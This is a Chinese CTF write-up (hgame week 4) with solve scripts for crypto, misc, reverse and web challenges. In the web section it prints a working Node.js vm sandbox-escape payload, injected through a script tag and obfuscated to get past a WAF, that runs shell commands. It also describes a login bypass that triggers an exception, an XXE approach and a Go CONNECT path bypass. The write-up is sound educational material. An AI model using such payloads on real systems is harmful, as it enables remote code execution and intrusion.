【hgame week4】write up

前言

四周的比赛终于结束了,最后总计拿了9676分,位列20名。

CRYPTO

ECC

给了个sage文件,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import getPrime
from libnum import s2n
from secret import flag

p = getPrime(256)
a = getPrime(256)
b = getPrime(256)
E = EllipticCurve(GF(p),[a,b])
m = E.random_point()
G = E.random_point()
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
cipher_left = s2n(flag[:len(flag)//2]) * m[0]
cipher_right = s2n(flag[len(flag)//2:]) * m[1]

print(f"p = {p}")
print(f"a = {a}")
print(f"b = {b}")
print(f"k = {k}")
print(f"E = {E}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"cipher_left = {cipher_left}")
print(f"cipher_right = {cipher_right}")

发现是一个椭圆加密的逻辑,生成一个椭圆后取随机一点作为明文,再根据逻辑生成两个密文。而flag是根据明文点的x,y轴进行加密,flag左半边乘x轴获得flag密文1,右半边乘y轴获得密文2,根据逻辑写解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p = 74997021559434065975272431626618720725838473091721936616560359000648651891507
a = 61739043730332859978236469007948666997510544212362386629062032094925353519657
b = 87821782818477817609882526316479721490919815013668096771992360002467657827319
k = 93653874272176107584459982058527081604083871182797816204772644509623271061231
E = EllipticCurve(GF(p),[a,b])
c1 = E(14455613666211899576018835165132438102011988264607146511938249744871964946084,25506582570581289714612640493258299813803157561796247330693768146763035791942)
c2 = E(37554871162619456709183509122673929636457622251880199235054734523782483869931,71392055540616736539267960989304287083629288530398474590782366384873814477806)
m = c1-k*c2
cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710
cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619

flag1=cipher_left/m[0]
flag2=cipher_right/m[1]
print(hex(flag1))
print(hex(flag2))

获得结果后解16进制得到flag:

PRNG

名字就告诉我们是伪随机,先看加密脚本:

1
2
3
4
5
6
7
8
9
10
11
import re
from random import randrange

from libnum import s2n

from secret import flag
from PRNG import PRNG

mt = PRNG(randrange(0, 1 << 32))
print([mt() for _ in range(624)])
print([part ^ mt() for part in map(s2n, re.findall(".{1,4}", flag))])

相当简单粗暴,给了我们624位伪随机值,我们要根据这624位推出接下来的伪随机值,而密文每四位flag与接下来的伪随机值进行异或,我们直接借用MT19937Predictor库编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import random
from mt19937predictor import MT19937Predictor
from libnum import n2s

predictor = MT19937Predictor()
list=[num*624]


for i in list:
predictor.setrandbits(i, 32)

list2=[3437104340, 508103176, 1635844121, 878522509, 1923790547, 1727955782, 1371509208, 3182873539, 156878129, 1757777801, 1472806960, 3486450735, 2307527058, 2950814692, 1817110380, 372493821, 729662950, 2366747255, 774823385, 387513980, 1444397883]
flag = b""
for j in list2:
key = predictor.getrandbits(32)
flag += n2s(j ^ key)
print(flag)

得到flag:

MISC

摆烂

这周唯一做出来的misc,太菜了还是。首先下载下来是一个被加密的压缩包,binwalk发现藏了一张图片,foremost提取出来。

观察010,发现是一张apng:

利用网站分离后是两张长得一模一样但是大小不一样的图片,判断是盲水印,利用工具提取盲水印:

得到压缩包密码:4C*9wfg976

解压出来发现是二维码,拼接:

最后扫描出来一段文字,但是用QR Reserch扫描时发现文字之间存在问号,判断零宽隐写,在线网站解密得到flag:

At0m的给你们的(迟到的)情人节礼物(赛后)

打开压缩包,一个视频是web3的hint,一个视频是avi格式,猜测MSU隐写,hint视频中的切屏印证了这一猜测:

接着寻找passcode,010查看压缩包发现藏着一个hide.txt,用7z打开查看:

1
2
秋名山车神Atom开车啦
4 up left down up right down up left up down right down up left down up right down up left up down right down up left down up right up down left up down right down up left down up right down up left up down right down up left up down down up up down right down up left up down right up down left up down right down up left up down right up

做题时做到这里被卡死了,看了wp才发现上下左右是代表换挡方向,麻了。4进制编码,油门代表保持,解得passcode为6557255,解密获得flag:

1
hgame{Q1ng_R3n_J1e_Da_Sh4_CTF}

REVERSE

ezvm

搞清楚vm的逻辑就行了,具体逻辑参考官方wp吧,脚本破解:

1
2
3
4
5
6
7
8
xor_keys = [94, 70, 97, 67, 14, 83, 73, 31, 81, 94, 54, 55, 41, 65, 99, 59, 100,
59, 21, 24, 91, 62, 34, 80, 70, 94, 53, 78, 67, 35, 96, 59]
plain_text = []
cipher = [142, 136, 163, 153, 196, 165, 195, 221, 25, 236, 108, 155, 243, 27, 139,
91, 62, 155, 241, 134, 243, 244, 164, 248, 248, 152, 171, 134, 137, 97, 34, 193]
for i in range(0,32):
plain_text.append(chr((cipher[i]^xor_keys[i])//2))
print(''.join(plain_text))

得到flag:

1
hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!}

WEB

Markdown Online(赛后)

这题想出来前一半,后一半是绕rce的一个沙盒vm逃逸,当时做的时候没找到payload,不太应该。

首先看登录逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function LoginController(req, res) {
if (req.body.username === "admin" && req.body.password.length === 16) {
try {
req.body.password = req.body.password.toUpperCase()
if (req.body.password !== '54gkj7n8uo55vbo2') {
return res.status(403).json({msg: 'invalid username or password'})
}
} catch (__) {}
req.session['unique_id'] = randString.generate(16)
res.json({msg: 'ok'})
} else {
res.status(403).json({msg: 'login failed'})
}
}

将我们输入的字符串转大写后与54gkj7n8uo55vbo2进行比较,如果相等才能登陆成功。但这显然是不可能的,但我们注意到关键点在于,这个比较实在异常捕获中进行的,也就是说我们可以让语句出错达到绕过的效果,因此我们构建payload:

成功绕过,进入md界面。这里是利用markdown-it不转义html标签的条件,构造一个恶意的script标签,利用其中的代码来逃逸vm沙箱并实现RCE,同时需要bypass来绕过waf。构建payload:

1
2
3
4
<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>

得到flag:

只能说nodejs的沙盒逃逸确实是知识盲区,这波是被教育了。

Comment

根据提示下载www.zip,获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
require './init.php';
require_once './db.php';

libxml_disable_entity_loader(false);

function waf($str): bool {
if (preg_match('/file|glob|http|dict|gopher|php|ftp|ssh|phar/i', $str)) {
return true;
}
return false;
}

function save() {
if ($_SERVER['REQUEST_METHOD'] != 'POST') {
echo json_encode(['error' => 'wrong method']);
return;
}
$data = file_get_contents('php://input');
if (waf($data)) {
http_response_code(403);
echo json_encode(['error' => 'Hacker!']);
return;
}

$id = $_SESSION['unique_id'];
$db = getDB();

$stmt = $db->prepare('INSERT INTO comments (sender,content) VALUES (?,?)');
$stmt->execute([$id, $data]);
if ($stmt->rowCount() != 0) {
echo json_encode(['msg' => 'success']);
} else {
http_response_code(500);
echo json_encode(['error' => 'failed to create records']);
}
}

function parseXML($str) {
$dom = new DOMDocument();
try {
$dom->loadXML($str, LIBXML_NOENT | LIBXML_DTDLOAD);
} catch (Exception $e) {
http_response_code(400);
echo json_encode(['error' => 'invalid xml data']);
die();
}
$attrs = simplexml_import_dom($dom);
if (!isset($attrs->content)) {
http_response_code(400);
echo json_encode(['error' => 'content is empty']);
die();
}
if (waf($attrs->sender) || waf($attrs->content)) {
http_response_code(403);
echo json_encode(['error' => 'Hacker!']);
die();
}
if ($attrs->sender == 'admin' && !preg_match('/admin/i', $str)) {
$flag = 'hgame{xxxxx}';
$attrs->content = $flag;
}
return $attrs;
}

function get() {
$id = $_SESSION['unique_id'];

$db = getDB();
$stmt = $db->prepare('SELECT * FROM comments WHERE sender=?');
$stmt->execute([$id]);
$data = $stmt->fetchAll();
$result = [];
foreach ($data as $key => $val) {
array_push($result, parseXML($val['content']));
}

echo json_encode($result);

}

switch ($_GET['action']) {
case 'get':
get();
break;
case 'add':
save();
break;
case 'info':
echo json_encode(['unique_id' => $_SESSION['unique_id']]);
break;
default:
http_response_code(400);
echo json_encode(['error' => 'no such action']);
break;
}

审计代码发现是传入xml,且不能传入伪协议。而获取flag的方式是令传入的标签<sender>内的值为admin,但是传入的内容不能出现admin,因此利用xxe做拼接传入就可以了:

得到flag:

FileSystem

这题考察的是go语言,首先给了我们源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main

import (
"log"
"net/http"
)

func fileHandler(w http.ResponseWriter, r *http.Request) {
http.FileServer(http.Dir("./")).ServeHTTP(w, r)
}

func main() {
http.HandleFunc("/", fileHandler)
http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte(`No! You can't see the flag!`))
})
log.Fatal(http.ListenAndServe(":8889", nil))
}

虽然没学过go,但是不妨碍读,大概意思就是开了个/there_may_be_a_flag路由要我们访问,但是直接访问的话会被拒绝。这里我们要用到golang的一个安全漏洞,详细参考下面的博客:
golang 的一些安全问题

对于CONNECT请求,path和host都不会改变其内容,因此我们构建payload,获取flag: